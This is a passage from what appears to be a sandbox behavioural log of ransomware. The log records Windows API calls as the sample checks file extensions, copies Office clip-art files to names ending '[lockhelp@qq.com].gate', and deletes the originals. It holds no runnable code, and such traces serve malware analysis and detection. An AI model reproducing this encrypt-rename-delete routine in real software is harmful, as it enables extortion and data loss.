3 [0300.161] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0300.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0300.161] lstrlenW (lpString=".dbf") returned 4 [0300.161] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0300.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0300.161] lstrlenW (lpString=".1cd") returned 4 [0300.161] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0300.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0300.162] lstrlenW (lpString=".jpg") returned 4 [0300.162] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0300.657] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=6491) returned 1 [0300.657] CloseHandle (hObject=0x4f0) returned 1 [0300.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid")) returned 0x220 [0300.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0300.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0300.657] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.658] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0300.658] GetLastError () returned 0x0 [0300.658] ReadFile (in: hFile=0x4f0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x195b, lpOverlapped=0x0) returned 1 [0301.031] WriteFile (in: hFile=0x564, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x1960, lpOverlapped=0x0) returned 1 [0301.032] ReadFile (in: hFile=0x4f0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0301.032] WriteFile (in: hFile=0x564, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0301.032] SetEndOfFile (hFile=0x564) returned 1 [0301.036] CloseHandle (hObject=0x564) returned 1 [0301.036] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.037] SetEndOfFile (hFile=0x4f0) returned 1 [0301.068] CloseHandle (hObject=0x4f0) returned 1 [0301.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid")) returned 1 [0301.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0301.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0301.378] lstrlenW (lpString=".doc") returned 4 [0301.378] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0301.378] lstrlenW (lpString=".docx") returned 5 [0301.378] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0301.378] lstrlenW (lpString=".pdf") returned 4 [0301.378] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0301.378] lstrlenW (lpString=".xls") returned 4 [0301.378] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0301.378] lstrlenW (lpString=".xlsx") returned 5 [0301.378] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0301.378] lstrlenW (lpString=".ppt") returned 4 [0301.378] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0301.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0301.378] lstrlenW (lpString=".zip") returned 4 [0301.378] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0301.378] lstrlenW (lpString=".rar") returned 4 [0301.378] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0301.378] lstrlenW (lpString=".bz2") returned 4 [0301.378] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0301.379] lstrlenW (lpString=".7z") returned 3 [0301.379] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0301.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0301.379] lstrlenW (lpString=".dbf") returned 4 [0301.379] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0301.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0301.379] lstrlenW (lpString=".1cd") returned 4 [0301.379] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0301.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0301.379] lstrlenW (lpString=".jpg") returned 4 [0301.379] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0301.379] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=6764) returned 1 [0301.379] CloseHandle (hObject=0x52c) returned 1 [0301.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid")) returned 0x220 [0301.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0301.380] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.380] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0301.381] GetLastError () returned 0x0 [0301.381] ReadFile (in: hFile=0x52c, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x1a6c, lpOverlapped=0x0) returned 1 [0301.474] WriteFile (in: hFile=0x4b8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x1a70, lpOverlapped=0x0) returned 1 [0301.475] ReadFile (in: hFile=0x52c, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0301.475] WriteFile (in: hFile=0x4b8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0301.475] SetEndOfFile (hFile=0x4b8) returned 1 [0301.475] CloseHandle (hObject=0x4b8) returned 1 [0301.475] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.475] SetEndOfFile (hFile=0x52c) returned 1 [0301.477] CloseHandle (hObject=0x52c) returned 1 [0301.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid")) returned 1 [0301.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0301.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0301.639] lstrlenW (lpString=".doc") returned 4 [0301.640] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0301.640] lstrlenW (lpString=".docx") returned 5 [0301.640] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0301.640] lstrlenW (lpString=".pdf") returned 4 [0301.640] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0301.640] lstrlenW (lpString=".xls") returned 4 [0301.640] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0301.640] lstrlenW (lpString=".xlsx") returned 5 [0301.640] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0301.640] lstrlenW (lpString=".ppt") returned 4 [0301.640] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0301.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0301.640] lstrlenW (lpString=".zip") returned 4 [0301.640] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0301.640] lstrlenW (lpString=".rar") returned 4 [0301.640] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0301.640] lstrlenW (lpString=".bz2") returned 4 [0301.640] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0301.640] lstrlenW (lpString=".7z") returned 3 [0301.640] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0301.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0301.640] lstrlenW (lpString=".dbf") returned 4 [0301.640] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0301.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0301.640] lstrlenW (lpString=".1cd") returned 4 [0301.640] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0301.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0301.640] lstrlenW (lpString=".jpg") returned 4 [0301.640] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0301.641] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=10122) returned 1 [0301.641] CloseHandle (hObject=0x4f8) returned 1 [0301.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid")) returned 0x220 [0301.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0301.643] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.643] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0301.644] GetLastError () returned 0x0 [0301.644] ReadFile (in: hFile=0x4f8, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x278a, lpOverlapped=0x0) returned 1 [0301.673] WriteFile (in: hFile=0x4b8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x2790, lpOverlapped=0x0) returned 1 [0301.682] ReadFile (in: hFile=0x4f8, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0301.682] WriteFile (in: hFile=0x4b8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0301.682] SetEndOfFile (hFile=0x4b8) returned 1 [0301.684] CloseHandle (hObject=0x4b8) returned 1 [0301.684] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.684] SetEndOfFile (hFile=0x4f8) returned 1 [0301.688] CloseHandle (hObject=0x4f8) returned 1 [0301.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.689] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid")) returned 1 [0301.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0301.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0301.691] lstrlenW (lpString=".doc") returned 4 [0301.691] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0301.691] lstrlenW (lpString=".docx") returned 5 [0301.691] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0301.691] lstrlenW (lpString=".pdf") returned 4 [0301.691] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0301.691] lstrlenW (lpString=".xls") returned 4 [0301.691] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0301.691] lstrlenW (lpString=".xlsx") returned 5 [0301.691] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0301.691] lstrlenW (lpString=".ppt") returned 4 [0301.691] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0301.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0301.691] lstrlenW (lpString=".zip") returned 4 [0301.691] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0301.691] lstrlenW (lpString=".rar") returned 4 [0301.691] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0301.691] lstrlenW (lpString=".bz2") returned 4 [0301.691] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0301.691] lstrlenW (lpString=".7z") returned 3 [0301.692] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0301.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0301.692] lstrlenW (lpString=".dbf") returned 4 [0301.692] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0301.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0301.692] lstrlenW (lpString=".1cd") returned 4 [0301.692] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0301.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0301.692] lstrlenW (lpString=".jpg") returned 4 [0301.692] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0301.741] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=5058) returned 1 [0301.741] CloseHandle (hObject=0x4f4) returned 1 [0301.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid")) returned 0x220 [0301.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0301.787] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.787] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0301.788] GetLastError () returned 0x0 [0301.788] ReadFile (in: hFile=0x50c, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x13c2, lpOverlapped=0x0) returned 1 [0301.858] WriteFile (in: hFile=0x514, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x13d0, lpOverlapped=0x0) returned 1 [0301.859] ReadFile (in: hFile=0x50c, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0301.859] WriteFile (in: hFile=0x514, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0301.859] SetEndOfFile (hFile=0x514) returned 1 [0301.859] CloseHandle (hObject=0x514) returned 1 [0301.859] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.859] SetEndOfFile (hFile=0x50c) returned 1 [0301.861] CloseHandle (hObject=0x50c) returned 1 [0301.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.861] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid")) returned 1 [0301.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0301.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0301.862] lstrlenW (lpString=".doc") returned 4 [0301.862] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0301.862] lstrlenW (lpString=".docx") returned 5 [0301.862] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0301.862] lstrlenW (lpString=".pdf") returned 4 [0301.862] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0301.862] lstrlenW (lpString=".xls") returned 4 [0301.862] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0301.862] lstrlenW (lpString=".xlsx") returned 5 [0301.862] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0301.862] lstrlenW (lpString=".ppt") returned 4 [0301.862] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0301.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0301.862] lstrlenW (lpString=".zip") returned 4 [0301.862] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0301.862] lstrlenW (lpString=".rar") returned 4 [0301.862] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0301.863] lstrlenW (lpString=".bz2") returned 4 [0301.863] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0301.863] lstrlenW (lpString=".7z") returned 3 [0301.863] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0301.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0301.863] lstrlenW (lpString=".dbf") returned 4 [0301.863] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0301.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0301.863] lstrlenW (lpString=".1cd") returned 4 [0301.863] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0301.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0301.863] lstrlenW (lpString=".jpg") returned 4 [0301.863] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0301.884] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=8501) returned 1 [0301.884] CloseHandle (hObject=0x4f4) returned 1 [0301.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid")) returned 0x220 [0301.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0301.889] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.889] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0301.890] GetLastError () returned 0x0 [0301.890] ReadFile (in: hFile=0x404, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 